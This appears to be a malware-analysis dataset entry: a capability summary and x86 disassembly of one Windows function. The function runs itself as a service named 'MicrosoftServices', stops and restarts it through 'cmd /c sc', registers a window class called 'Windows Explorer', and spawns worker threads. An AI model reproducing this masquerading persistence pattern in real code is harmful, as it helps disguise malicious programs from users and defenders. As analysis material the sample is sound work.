Function at 0x407c43
Capabilities:
Create process on windows
Create thread
Start service
Terminate process

Disassembly:
mov eax, 0x41665e
call fcn.00409e24
sub esp, 0x54
mov eax, dword [0x41c390]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x10], esp
mov edi, str.Windows_Explorer
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x60], 0x30
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], 0x401399
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], esi
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
je 0x407e6d
push esi
push ebx
push esi
push esi
push esi
push esi
push esi
push esi
push 0xcf0000
push 0x41748e
push edi
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, esi
mov dword [0x41fd00], eax
je 0x407e6d
push dword [ebp + 0x10]
call fcn.00408e60
test eax, eax
pop ecx
jbe 0x407dbc
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], 0xf
call fcn.00401d7f
push dword [ebp + 0x10]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.004034d6
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x407d0d
lea eax, [ebp - 0x2c]
push 0x417958
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
jne 0x407d89
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push esi
push esi
push str.__c_sc_stop_MicrosoftServices
push 0x4172ec
mov ebx, str.open
push ebx
push esi
call edi
call fcn.00401438
test eax, eax
je 0x407d57
push esi
push esi
push str.__c_sc_start_MicrosoftServices
push 0x4172ec
push ebx
push esi
call edi
jmp 0x407e22
lea eax, [ebp + 0x10]
push eax
push esi
push esi
push fcn.00401092
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push 0x406b1e
call fcn.0040b1ea
add esp, 0xc
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.00402059
jmp 0x407e4a
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x407d95
lea eax, [ebp - 0x2c]
push 0x417934
push eax
call fcn.0040af70
test eax, eax
pop ecx
pop ecx
jne 0x407d79
push esi
mov dword [0x41fd20], 3
call fcn.00401092
mov eax, 0x407e6f
ret
lea eax, [ebp - 0x24]
mov edi, str.MicrosoftServices
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 0x407b7d
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x407e4a
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, esi
je 0x407e28
push 0xf01ff
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
cmp edi, esi
je 0x407e28
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x407e28
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call fcn.00409807
lea eax, [ebp + 0x10]
push eax
push esi
push esi
push fcn.00401092
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push 0x406b1e
call fcn.0040b1ea
add esp, 0xc
mov edi, 0x41fd04
push esi
push esi
push esi
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x407e6d
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x407e4f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.004098d0
pop edi
pop esi
pop ebx
leave
ret 0x10